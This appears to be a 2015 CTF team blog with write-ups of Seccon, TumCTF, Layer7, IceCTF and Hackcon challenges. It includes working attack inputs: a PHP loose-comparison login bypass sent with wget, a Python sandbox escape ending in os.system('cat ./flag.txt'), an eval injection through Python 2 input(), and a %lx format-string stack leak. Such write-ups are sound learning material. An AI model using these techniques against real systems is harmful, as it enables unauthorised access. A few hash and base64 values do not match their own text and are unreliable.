vimvaders

A present for all the Star Wars fans

Tue, 22 Dec 2015 12:00:00 +0000

Seccon 2015: Last Challenge

Wed, 09 Dec 2015 20:00:00 +0000

Category: Misc - Points: 50

Description:
ex1
Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO
Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}

ex2
Cipher:EV}ZZD{DWZRA}FFDNFGQO
Plain: {HELLOWORLDSECCONCTF}

quiz
Cipher:A}FFDNEA}}HDJN}LGH}PWO
Plain: ??????????????????????

The last challenge in Seccon 2015 was exactly the same as the first one. It is still a substitution cipher and we have to decode the last message. The substitution pattern is different from the other challenge but we can use the same approach.

We wrote the following python script, using maketrans and translate.

#!/usr/bin/env python

from string import translate, maketrans

table = maketrans('PXFR}QIVTMSZCNDKUWAGJB{LHYEO', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}')
cipher = 'A}FFDNEA}}HDJN}LGH}PWO'
print translate(cipher, table)

We then execute the script:

$ ./last.py
SECCON{SEEYOUNEXTYEAR}

So the flag is: SECCON{SEEYOUNEXTYEAR}

Seccon 2015: Start

Wed, 09 Dec 2015 10:00:00 +0000

Category: Misc - Points: 50

Description:

ex1
Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO
Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}

ex2
Cipher:EV}ZZD{DWZRA}FFDNFGQO
Plain: {HELLOWORLDSECCONCTF}

quiz
Cipher:A}FFDNEVPFSGV}KZPN}GO
Plain: ?????????????????????

This is the first challenge and it is just a sanity check. From the description it is clear that we are given a substitution cipher and we have to decode the last message.

We wrote the following python script, using maketrans and translate.

#!/usr/bin/env python

from string import maketrans, translate

table = maketrans('PXFR}QIVTMSZCNDKUWAGJB{LHYEO', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}')
cipher = 'A}FFDNEVPFSGV}KZPN}GO'
print translate(cipher, table)

We then execute the script:

$ ./solve.py
SECCON{HACKTHEPLANET}

So the flag is: SECCON{HACKTHEPLANET}

TumCTF 2015: Sanity Check

Mon, 26 Oct 2015 12:00:00 +0000

Category: Misc - Points: 1

Description: Are you alive?

Vm0wd2QyUXlWa2hWV0doVVYwZG9jRlZ0TVZOWFZsbDNXa1JTVjFac2JETlhhMUpUVmpGYWMySkVUbGhoTVVwVVZtcEJlRll5U2tWVQpiR2hvVFZWd1ZWWnFRbUZUTWsxNVUydFdWUXBpU0VKWVZtMTRkMVZXV25GVGFsSmFWakF4TkZaSE5VOVhRWEJwVWpGS1ZWWkdVa2RUCk1WWlhXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hSV0VKVVdXdG9RMWRXWkZobFIzUnBDazFFUm5wV01qVkxXVlpPU1ZGdVRsWmkKVkVaVVZURmFZV1JIVWtsVWJXaGhUVEJLVlZkWGVHdGlNbEp6VjJ0a1dHSlViRk5EYXpGelYyeG9WMDFYYUhaV01HUkxWMVpXYzFacwpWbGNLWWtoQ05sWkhkR0ZaVms1R1RsWmFhMUp0YUZOV01GWkxaREZhV0UxRVJsSk5WMUpZVjJ0b1QxbFdTa1pUYlVaRVlrWnNNMWxyClVsTlhSMFY0WTBoS1YySlVSa2RhVmxwWFl6RmFjd3BqUjJ0TFZXMDFRMkl4V25GUmJVWnFZbFpHTkZZeU5VOVpWa3AwWVVaT1YwMUcKV2t4YVJFWmhWMGRPUm1SSGJFNVdia0paVm1wS05HSXlTa2RUYWxwcFVtczFSVmxzVm5kWFJsbDVDazVZWkZkTlJFWXhWbGMxUzFZdwpNVWhWYTNoWFRWWndXRmw2Um1GamQzQlhZa2RPVEZaR1VrdGlNVkpYVjJ4V1VtSlZXbkZaYkZwSFRrWlplVTVXWkZkV01IQkpWbGQ0CmExWXdNVWNLVjJ0NFlWSXphSEpaZWtaM1VsWldjMk5HWkdsU2JrSktWbXBLTUdJeFVYaGlSbVJVWVRGd1ZWbHJXbUZTVm14WlkwVmsKV0ZKc1ZqVkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=

This was the first challenge of the new TumCTF organized by h4x0rpsch0rr. Even if this was the first time for this group to organize a CTF, the challenges were very interesting.

This was just a sanity check. It is pretty obvious that the text in the description is encoded in base64, so let’s decode it:

$ echo "Vm0wd2QyVkhVWGhUV0docFVtMVNXVll3WkRSV1ZsbDNXa1JTVjFac2JETlhhMUpUVmpBeFYySkVU
bGhoTVVwVVZqQmFTMk15U2tWVQpiSEJYVm14d1VWWnFTalJaVjAxNFZHNU9XQXBpUjFKVVZGUkdT
MVZXWkZkYVJGSlVUV3N4TkZkcmFGZGhRWEJUWWtoQ1dWZFhlR3RpCk1ERnpWMjVLWVZOSVFuTlZi
VEZUVTFaYWRHUklUbWhhTTBKVVdXeGtiMlJzV2tkWGJUbFNDazFzV2xoV01XaHZWMGRLV1ZWc1Zs
VlcKYkhCNlZHdGFZVk5GTlZaa1JtaFNWMFZLZDFaWE1ERlJNV1JYV2toT1lWSkZTbUZEYkZsM1lr
UlNXR0V4Y0hKV2JURkdaVlpXYzFacwpjR2tLVW01Q2IxWnFRbUZqYlZGNFYyNU9ZVkp0YUZOV01G
WkxaREZhV0dORmRHbE5WbkJZVmpKNGIySkdTalppUms1RVlsVndXRll5Ck5YZFdNREYxVlc1S1Yw
MUhVa3hXTVZwWFl6RmFjd3BXYkdOTFZGUktiMVJXV2xWUmJVWnFZbFpHTkZZeU5WZFdWMHBJVld4
a1YwMUcKV2t4YVIzaHJZekZ3UlZWc2NGZGlSbkJKVmpKMGIxUXhiRmRUYTFwVVlrWmFSVmxZY0Vk
WFJsVjVDbVZIT1ZkaVZYQkpXVlZvZDFZdwpNWEZTYkdoaFVsZFNXRlZxUms5amQzQmhVbTFPVEZk
WGVGWmtNbEY0VjJ0V1UySkhVbFpVVjNSM1pXeFdXR1ZHWkZWaVJYQmFWa2QwCk5GSkdjRFlLVFVS
c1JGcDZNRGxEWnowOUNnPT0K" | base64 -D

Vm0wd2VHUXhTWGhpUm1SWVYwZDRWVll3WkRSV1ZsbDNXa1JTVjAxV2JETlhhMUpUVjBaS2MySkVU
bHBXVmxwUVZqSjRZV014VG5OWApiR1JUVFRGS1VWZFdaRFJUTWsxNFdraFdhQXBTYkhCWVdXeGti
MDFzV25KYVNIQnNVbTFTU1ZadGRITmhaM0JUWWxkb2RsWkdXbTlSCk1sWlhWMWhvV0dKWVVsVlVW
bHB6VGtaYVNFNVZkRmhSV0VKd1ZXMDFRMWRXWkhOYVJFSmFDbFl3YkRSWGExcHJWbTFGZVZWc1Zs
cGkKUm5Cb1ZqQmFjbVF4V25OYVJtaFNWMFZLZDFaWGNFdGlNVnBYVjJ4b2JGSjZiRk5EYlVwWFYy
NXdWMDF1VW5KV01HUkxWMVpXYzFacwpWbGNLVFRKb1RWWlVRbUZqYlZGNFYyNVdWV0pIVWxkV01G
WkxaR3hrYzFwRVVscFdiRnBJVjJ0b1QxbFdTa1pUYkZaRVlYcEdXRlV5CmVHOVdiVXBJWVVod1Yw
MXFSbGhhUldSWFVqRk9jd3BhUm1OTFdXeFZkMlF4V2tWU2JHUlZUV3R3ZWxWWGVGZFViRXBaVkd0
NFJGcDYKTURsRFp6MDlDZz09Cg==

Ok, this seems to be the classical challenge were multiple base64 steps were performed on some text (probably the flag). Let’s use the always-good simple python script for these occasions:

with open('data') as f:
    data = f.read()

while True:
    try:
        data = data.decode('base64')
        print data
    except:
        break

When we run it the result is:

$ python sanity.py
Vm0wd2QyVkhVWGhUV0docFVtMVNXVll3WkRSV1ZsbDNXa1JTVjFac2JETlhhMUpUVmpBeFYySkVU
bGhoTVVwVVZqQmFTMk15U2tWVQpiSEJYVm14d1VWWnFTalJaVjAxNFZHNU9XQXBpUjFKVVZGUkdT
MVZXWkZkYVJGSlVUV3N4TkZkcmFGZGhRWEJUWWtoQ1dWZFhlR3RpCk1ERnpWMjVLWVZOSVFuTlZi
VEZUVTFaYWRHUklUbWhhTTBKVVdXeGtiMlJzV2tkWGJUbFNDazFzV2xoV01XaHZWMGRLV1ZWc1Zs
VlcKYkhCNlZHdGFZVk5GTlZaa1JtaFNWMFZLZDFaWE1ERlJNV1JYV2toT1lWSkZTbUZEYkZsM1lr
UlNXR0V4Y0hKV2JURkdaVlpXYzFacwpjR2tLVW01Q2IxWnFRbUZqYlZGNFYyNU9ZVkp0YUZOV01G
WkxaREZhV0dORmRHbE5WbkJZVmpKNGIySkdTalppUms1RVlsVndXRll5Ck5YZFdNREYxVlc1S1Yw
MUhVa3hXTVZwWFl6RmFjd3BXYkdOTFZGUktiMVJXV2xWUmJVWnFZbFpHTkZZeU5WZFdWMHBJVld4
a1YwMUcKV2t4YVIzaHJZekZ3UlZWc2NGZGlSbkJKVmpKMGIxUXhiRmRUYTFwVVlrWmFSVmxZY0Vk
WFJsVjVDbVZIT1ZkaVZYQkpXVlZvZDFZdwpNWEZTYkdoaFVsZFNXRlZxUms5amQzQmhVbTFPVEZk
WGVGWmtNbEY0VjJ0V1UySkhVbFpVVjNSM1pXeFdXR1ZHWkZWaVJYQmFWa2QwCk5GSkdjRFlLVFVS
c1JGcDZNRGxEWnowOUNnPT0K

Vm0wd2VHUXhTWGhpUm1SWVYwZDRWVll3WkRSV1ZsbDNXa1JTVjAxV2JETlhhMUpUVjBaS2MySkVU
bHBXVmxwUVZqSjRZV014VG5OWApiR1JUVFRGS1VWZFdaRFJUTWsxNFdraFdhQXBTYkhCWVdXeGti
MDFzV25KYVNIQnNVbTFTU1ZadGRITmhaM0JUWWxkb2RsWkdXbTlSCk1sWlhWMWhvV0dKWVVsVlVW
bHB6VGtaYVNFNVZkRmhSV0VKd1ZXMDFRMWRXWkhOYVJFSmFDbFl3YkRSWGExcHJWbTFGZVZWc1Zs
cGkKUm5Cb1ZqQmFjbVF4V25OYVJtaFNWMFZLZDFaWGNFdGlNVnBYVjJ4b2JGSjZiRk5EYlVwWFYy
NXdWMDF1VW5KV01HUkxWMVpXYzFacwpWbGNLVFRKb1RWWlVRbUZqYlZGNFYyNVdWV0pIVWxkV01G
WkxaR3hrYzFwRVVscFdiRnBJVjJ0b1QxbFdTa1pUYkZaRVlYcEdXRlV5CmVHOVdiVXBJWVVod1Yw
MXFSbGhhUldSWFVqRk9jd3BhUm1OTFdXeFZkMlF4V2tWU2JHUlZUV3R3ZWxWWGVGZFViRXBaVkd0
NFJGcDYKTURsRFp6MDlDZz09Cg==

Vm0weGQxSXhiRmRYV0d4VVYwZDRWVll3WkRSV01WbDNXa1JTV0ZKc2JETlpWVlpQVjJ4YWMxTnNX
bGRTTTFKUVdWZDRTMk14WkhWaApSbHBYWWxkb01sWnJaSHBsUm1SSVZtdHNhZ3BTYldodlZGWm9R
MlZXV1hoWGJYUlVUVlpzTkZaSE5VdFhRWEJwVW01Q1dWZHNaREJaClYwbDRXa1prVm1FeVVsVlpi
RnBoVjBacmQxWnNaRmhSV0VKd1ZXcEtiMVpXV2xobFJ6bFNDbUpXV25wV01uUnJWMGRLV1ZWc1Zs
VlcKTTJoTVZUQmFjbVF4V25WVWJHUldWMFZLZGxkc1pEUlpWbFpIV2toT1lWSkZTbFZEYXpGWFUy
eG9WbUpIYUhwV01qRlhaRWRXUjFOcwpaRmNLWWxVd2QxWkVSbGRVTWtwelVXeFdUbEpZVGt4RFp6
MDlDZz09Cg==

Vm0xd1IxbFdXWGxUV0d4VVYwZDRWMVl3WkRSWFJsbDNZVVZPV2xac1NsWldSM1JQWVd4S2MxZHVh
RlpXYldoMlZrZHplRmRIVmtsagpSbWhvVFZoQ2VWWXhXbXRUTVZsNFZHNUtXQXBpUm5CWVdsZDBZ
V0l4WkZkVmEyUlVZbFphV0Zrd1ZsZFhRWEJwVWpKb1ZWWlhlRzlSCmJWWnpWMnRrV0dKWVVsVlVW
M2hMVTBacmQxWnVUbGRWV0VKdldsZDRZVlZHWkhOYVJFSlVDazFXU2xoVmJHaHpWMjFXZEdWR1Ns
ZFcKYlUwd1ZERldUMkpzUWxWTlJYTkxDZz09Cg==

Vm1wR1lWWXlTWGxUV0d4V1YwZDRXRll3YUVOWlZsSlZWR3RPYWxKc1duaFZWbWh2VkdzeFdHVklj
RmhoTVhCeVYxWmtTMVl4VG5KWApiRnBYWld0YWIxZFdVa2RUYlZaWFkwVldXQXBpUjJoVVZXeG9R
bVZzV2tkWGJYUlVUV3hLU0Zrd1ZuTldVWEJvWld4YVVGZHNaREJUCk1WSlhVbGhzV21WdGVGSldW
bU0wVDFWT2JsQlVNRXNLCg==

VmpGYVYySXlTWGxWV0d4WFYwaENZVlJVVGtOalJsWnhVVmhvVGsxWGVIcFhhMXByV1ZkS1YxTnJX
bFpXZWtab1dWUkdTbVZXY0VWWApiR2hUVWxoQmVsWkdXbXRUTWxKSFkwVnNWUXBoZWxaUFdsZDBT
MVJXUlhsWmVteFJWVmM0T1VOblBUMEsK

VjFaV2IySXlVWGxXV0hCYVRUTkNjRlZxUVhoTk1XeHpXa1prWVdKV1NrWlZWekZoWVRGSmVWcEVX
bGhTUlhBelZGWmtTMlJHY0VsVQphelZPWld0S1RWRXlZemxRVVc4OUNnPT0K

V1ZWb2IyUXlWWHBaTTNCcFVqQXhNMWxzWkZkYWJWSkZVVzFhYTFJeVpEWlhSRXAzVFZkS2RGcElU
azVOZWtKTVEyYzlQUW89Cg==

WVVob2QyVXpZM3BpUjAxM1lsZFdabVJFUW1aa1IyZDZXREp3TVdKdFpITk5NekJMQ2c9PQo=

YUhod2UzY3piR013YldWZmREQmZkR2d6WDJwMWJtZHNNMzBLCg==

aHhwe3czbGMwbWVfdDBfdGgzX2p1bmdsM30K

hxp{w3lc0me_t0_th3_jungl3}

So the flag is: hxp{w3lc0me_t0_th3_jungl3}

Layer7 2015: Login

Sun, 30 Aug 2015 00:00:00 +0000

Category: web - Points: 50

Description: http://prob.layer7.kr/login/index.php

The address in the description points to a login form. The page also provides us the PHP code behind the login form:

<?php
   define("FNAME", basename(__FILE__));
   define("PATH", dirname(__FILE__) . "/");

   include_once(dirname(__FILE__) . "/config.php");
   function filter($username){

      if(preg_match("/[A-Z][a-z][0-9].*/", $username)){
         $auth = true;
      }else{
         $auth = false;
      }

      return $auth;
   }
   function challenge($username, $password){
      global $flag;
      if(isset($username)){
         if(isset($password)){
            if(!filter($username)) return "Filter it";
            $rand_val = "abcdefghijklmnopqrstuvwxyz0123456789";
            $passwd = '';
            for($j = 0; $j < 2; $j++){
               for($i = 0; $i < 31337; $i++){
                  $passwd[$j] .= $rand_val[rand(0, strlen($rand_val) - 1)];
               }
            }
            $database = array(
               "Layer7" => $passwd[0],
               "Admin0" => $passwd[1],
            );
            if($database[$username] != $password){
               return $passwd[0];
            }
            return sprintf("flag is %s", $flag);
         }else{
            return "Input Password";
         }
      }else{
        highlight_file(PATH . 'index.php');
        return "Input Username";
      }
   }
   echo '<form method=post><input type=text name=username><input type=password name=password><input type=submit value=Login></form>';
   printf("<br>Message : %s!", challenge($_POST['username'], $_POST['password']));
?>

Analysis

Each time the php is run a new array $database is created storing the passwords of the two users: Layer7 and Admin0. However, the password are composed by 31337 random characters, which makes the login page impossible to bruteforce or guess. If the password does not match, the password for the user Layer7 is printed, but since it will be regenerated the next time, this information is useless.

Next we noted that the username is validated using the filter function, allowing only usernames which satisfy the following regex:

[A-Z][a-z][0-9].*

Since Layer7 and Admin0 do not satisfy the regular expression, they are not even usable in the login form, so we have to look for something else.

When the $username is not in the $database array, $database[$username] returns a NULL value. Moreover, this value is compared to the $password using the PHP loose comparison (PHP uses loose comparison with == and !=, while it uses strict comparison with === and !==).

The PHP loose comparison operator has a really strange behavior. This is its truth table:

The highlighted row is used when one of the two operands is NULL. Since we want the result to be true, we need the password to be either FALSE, 0, NULL, ARRAY or "". So we can just provide an empty password and the comparison should be verified, giving the flag in return.

Exploit

We have to provide an username which verifies the filter function (such as Aa0) and an empty password, which is different from not providing the password field at all (otherwise the isset would return false and the message Input Password would be displayed). We can use different tools to POST the needed data to the webpage. The easiest way is to use wget:

wget -qO- http://prob.layer7.kr/login/index.php --post-data='username=Aa0&password='

This gives the following output:

<form method=post><input type=text name=username><input type=password name=password><input type=submit value=Login></form><br>Message : flag is a52a12ec82efd713433b16aea3f32cae!

So the flag is: a52a12ec82efd713433b16aea3f32cae

How to improve the code?

The problem here is that loose comparison tries to compare different types. The code could be improved using strict comparison, which has the following truth table:

Since we have no way to pass a NULL parameter through a form, that would have prevented the exploit.

IceCTF 2015: PyShell

Mon, 24 Aug 2015 00:00:00 +0000

Category: exploitation - Points: 100

Description: Daniel is running this server which allows you to evaluate basic python expressions. It’s clear that he’s tried to secure it though. Can you see if you can get it to print the flag? You can access it by running nc vuln2015.icec.tf 8000 .

Hint: Even if some keywords are banned, is that gonna stop you?

The task comes with the file shell.py which is the source code of the webservice available at the specified location. The source is the following:

#!/usr/bin/env python

from __future__ import print_function
import sys

print("Welcome to my Python sandbox! Enter commands below! Please don't mess up my server though :/")
sys.stdout.flush()

banned = [
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "input",
    "banned",
    "sys"
]

targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
    del __builtins__.__dict__[x]

while 1:
    print(">>>", end=' ')
    sys.stdout.flush()
    data = raw_input()

    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else:
        exec data

So we are provided with a shell and the user input is checked not to contain one of the banned words before being passed to the exec function which dynamically execute the code.

In order to increase the shell security, every element but print and raw_input is removed from the __builtins__ dictionary which contains the common functions.

Background

This reminds us the CSAW2014 problem pybabbies and its solutions can be adapted to this task. There are a few write-ups for that task, but we can groups them in two categories:

obtain a reference to the file function and guess the filename for the flag;
obtain a reference to the os module in order to use the os.system function and be able to issue commands to the underlying system.

The second way is more interesting, but even if the methods used to gain the reference to the os module are really interesting, they are quite complicated such as this and this. Most of them are based on linecache, contained in warnings.catch_warnings, which contains a reference to os united with some techniques explained in this amazing Ned Batchelder’s post.

Another solution

We found a more straightforward solution for this task. Since in this case the sys module is already loaded, we can use sys.modules to get the references of all the loaded modules (including os).

The problem here is that sys is a banned word. We want to clear the banned variable, without being able to use its name. It would be great if there was a dictionary containing all the globals so that we can compose the name of the variable with string operations like 'ban' + 'ned' and evade the blacklist.

The dictionary that contains the global variables can be accessed with the function globals(), but unfortunately we don’t have access to that variable since the built-ins were cleared.

We can access the same dictionary defining a function object (for example using a lambda) and accessing its __globals__ variable. This way we will be able to set the banned variable to an empty list, disabling the blacklist:

>>> (lambda: 1).__globals__['ban' + 'ned'] = []

Now we don’t have a blacklist anymore, so we can easily get a reference to os:

>>> os = sys.modules['os']

Now we can list the files in the directory and print the flag:

>>> os.system('ls')
flag.txt
problem
problem.py
>>> os.system('cat ./flag.txt')
The flag is: not_your_average_python

So the flag is not_your_average_python.

Hackcon 2015: Doctor Doctor

Thu, 20 Aug 2015 22:00:00 +0000

Category: web - Points: 25

Description: Flag is here

When we visit the flag website we are greeted with a login form:

No hints in the source code and everything we try to insert in the form leads miserably to this page (again without hints in the source code):

Before embarking on SQLI, we realized that the data inserted in the form is not even submitted to the action page, so there must be something else. Let’s check the cookies:

the page sets two cookies, MadHatter? and MockTurtle? which are both characters from Alice in wonderland. Both the cookies contains the same data:

7fa3b767c460b54a2be4d49030b349c7

A search on Google showed that the string is just the MD5 of no. So for the next hour we tried to replace the value of the cookies with other MD5 hashes for yes, maybe, ofcourse, yeah and many other (obviously including insults).

Just before going insane we decided to explore the webservice a bit more. We figured that the content of the robots.txt file was:

User-agent: *
Disallow: /what_is_this_place

So we checked the page at http://hackcon.in:8080/level8/what_is_this_place:

All the files contain some non-interesting words. We started looking at the file having the name of the first of our two cookies, MadHatter, which contained:

sternutate

Setting the value of the cookie MadHatter? to the MD5 of the word sternutate (27a297c35cf0e6930faec429512e2490) and attempting to login results in:

So we checked the content of MockTurtle:

borborygmi

Restoring the value of the cookie MadHatter? to its original value and setting the value of the cookie MockTurtle? to the MD5 of the word borborygmi (27a297c35cf0e6930faec429512e2490) and attempting to login results in:

So our flag is 0901368cc95e06c6067da0ac24c69de2 (which is actually the MD5 of jabbajabba).

Hackcon 2015: Pythonista

Thu, 20 Aug 2015 21:00:00 +0000

Category: pwn - Points: 25

Description: The program apparently once could print more than stories.

The task comes with two files:

The file message.txt seems to contain a base64 string, but when decoding it, we receive another base64 string. Let’s check the other file to understand what is going on.

The file hide.pyo is a compiled python object file. We can decompile it using the uncompyle2 package.

$ uncompyle2 --py -o . hide.pyo
+++ okay decompyling hide.pyo
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed

So we can now check the content of hide.py:

import os
import random

MESSAGE = os.environ.get('MESSAGE')
x = 18446744073709551616L
r = 29
y = [ not bool(x * r) for x in range(2) ]
algorithm = ['bz2', 'base64', 'uu', 'quopri', 'zlib'][int(y[0])]
final_strength = random.randint(1, x)

def _encode(message, rounds, strength, encoding):
    for _ in xrange(strength):
        for _ in xrange(rounds):
            message = message.encode(encoding)
    return message

encoded = _encode(MESSAGE, r, final_strength, algorithm)
print encoded

We add some comment in order to understand what is going on:

import os
import random

# get the MESSAGE from the environment variable MESSAGE
MESSAGE = os.environ.get('MESSAGE')
x = 18446744073709551616L
r = 29

y = [ not bool(x * r) for x in range(2) ] # = [1, 0]
algorithm = ['bz2', 'base64', 'uu', 'quopri', 'zlib'][int(y[0])]
# since y[0] = 1, algorithm = 'base64'

# we can not know which random number was chosen here at runtime
final_strength = random.randint(1, x)

# for a number of times rounds*strength,
# replace message with its encoding (nested encoding)
def _encode(message, rounds, strength, encoding):
    for _ in xrange(strength):
        for _ in xrange(rounds):
            message = message.encode(encoding)
    return message

# encode MESSAGE with 29 * final_strength passes of base64
encoded = _encode(MESSAGE, r, final_strength, algorithm)
print encoded

So we are dealing with multiple passes of base64. The easiest way is to read the file message.txt and iterate a base64 decoding, until an exception is raised (meaning that the string is no longer in base64, so it is the original string).

We created this python script in order to do that:

def decode(message):
    while True:
        try:
            message = message.decode('base64')
        except:
            return message

with open('message.txt') as m:
    print decode(m.read())

The result is the following string: https://xkcd.com/936/, which is:

So we tried the super-famous correcthorsebatterystaple as the flag but it didn’t work. The other one was Tr0ub4dor&3 and it worked, so this is our flag.

Hackcon 2015: Making Love To Bugs

Thu, 20 Aug 2015 20:00:00 +0000

Category: pwn - Points: 25

Description: Get your flag here.

The task comes with the file ilovebugs.pyc which is a compiled python file. We can decompile it using the uncompyle2 package.

$ uncompyle2 --py -o . ilovebugs.pyc
+++ okay decompyling ilovebugs.pyc
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed

So we can now check the content of ilovebugs.py:

import sys
users = {'admin': '<REDACTED>'}

def register(username, password):
    if username in users:
        return 'User already exits.'
    users[username] = password
    return 'Registered Successfully.'


def login(username, password):
    if username not in users:
        return 'Wrong pin/password'
    if password != users[username]:
        return 'Wrong pin/password'
    if username == 'admin':
        return 'The FLAG is what you entered in the "Pin" field to get here!'
    return 'You must login as admin to get the flag'


def handle_command(command):
    if command not in ('REG', 'LOGIN'):
        return 'Invalid Command!'
    print 'Username:',
    sys.stdout.flush()
    username = raw_input()
    try:
        print 'Pin ([0-9]+):',
        sys.stdout.flush()
        password = input()
    except:
        return 'Please enter a valid password. Pin can only contain digits.'

    if command == 'REG':
        return register(username, password)
    if command == 'LOGIN':
        return login(username, password)


if __name__ == '__main__':
    print 'Hey welcome to the admin panel'
    print 'Commands: REG, LOGIN'
    try:
        print '>',
        sys.stdout.flush()
        command = raw_input()
        print handle_command(command)
        sys.stdout.flush()
    except:
        pass

The PIN should be in the form [0-9]+ and in order to enforce that the input function is used. By the way, in python 2.x the input function evaluates the input. Since the admin password can be retrieved as users['admin'], when we pass that exact string as PIN, python evaluates it for us, and stores the correct admin password in the password variable, allowing the login.

$ python ilovebugs.py
Hey welcome to the admin panel
Commands: REG, LOGIN
> LOGIN
Username: admin
Pin ([0-9]+): users['admin']
The FLAG is what you entered in the "Pin" field to get here!

So the flag is users['admin'].

Hackcon 2015: Did you mean

Thu, 20 Aug 2015 19:00:00 +0000

Category: pwn - Points: 50

Description: Pwnie

The task provides us with the file pwnie and an ip and address for a webservice.

$ file pwnie
pwnie: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=b87bef02278df740b6c0011e989f39b08ccfc998, not stripped

Let’s try to run it:

$ ./pwnie
No!

Ok, sorry. Let’s check the output of strings. The only interesting ones are:

flag.txt
The flag's right!
Did you say:

So it seems that the file flag.txt is involved. Let’s create it with content: ABCDEFGHIJKLMNOP and run the program again. Now the program waits for our input and if we put again ABCDEFGHIJKLMOP this happens:

$ ./pwnie
ABCDEFGHIJKLMNOP
The flag's right!

Ok, we have to produce some interesting payload, let’s start IDA and decompile the main. We also added some comment in the code to highlight the important parts.

...
  v3 = fopen("flag.txt", "r");
  if ( v3 )
  {
    fgets((char *)&v7, 100, v3);  // v7 is the content of v3 (flag.txt)
    fgets(&s, 100, stdin);        // s is the string from the stdin
    v4 = strncmp(&s, (const char *)&v7, 0xAuLL); 
    if ( v4 )   // if they do not match
    {
      v4 = 0;
      puts("Did you say: ");
      fflush(_bss_start);
      __printf_chk(1LL, &s);      // print the user input
      fflush(_bss_start);
    }
    else
    {
      puts("The flag's right!");  // the flag is correct
      fflush(_bss_start);
    }
  }
  else                            // the file does not exist
  {
    v4 = -1;
    puts("No!");
    fflush(_bss_start);
  }
  v5 = *MK_FP(__FS__, 40LL) ^ v9;
  return v4;
}

There is a string format exploit in the line:

__printf_chk(1LL, &s);

The user input is treated as format string. So we can exploit this to dump the stack and get our flag. Since the program is in 64 bits we need to use the placeholder %lx to print a whole memory block. The fgets is told to copy 100 bytes, so we can join 33 times %lx in order to get more data from the stack.

$ ./pwnie
%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx%lx

The output is:

07f7ef00e68707f7ef05c374004847464544434241504f4e4d4c4b4a49a00007f7ef05e45207fff414a69807fff414a6970f63d4e2e40043625786c25ffffffff786c25786c25786c6c25786c25786c2525786c25786c2578786c25786c25786c6c25786c25786c2525786c25786c2578786c25786c25786c6c25786c25786c2525786c25786c2578786c25786c25786c6c25786c25786c25786c25786c257839cc7d2e1411990007f7ef001cec50

We can easily spot the part that holds the content of the file stored in little endian:

4847464544434241504f4e4d4c4b4a49

So the interesting part comes after 26 bits. We can use python to convert the stack into readable data:

data = "07f7ef00e68707f7ef05c374004847464544434241504f4e4d4c4b4a49a00007f7ef05e45207fff414a69807fff414a6970f63d4e2e40043625786c25ffffffff786c25786c25786c6c25786c25786c2525786c25786c2578786c25786c25786c6c25786c25786c2525786c25786c2578786c25786c25786c6c25786c25786c2525786c25786c2578786c25786c25786c6c25786c25786c25786c25786c257839cc7d2e1411990007f7ef001cec50"

for i in xrange(26, len(data), 16):
    print repr(data[i:i+16].decode('hex')[::-1])

The result is:

'ABCDEFGH'
'IJKLMNOP'
'R\xe4\x05\xef\xf7\x07\x00\xa0'
'\xff\x07\x98\xa6\x14\xf4\xff\x07'

We can use the same technique on the webservice and get the flag: FORMAT(STR).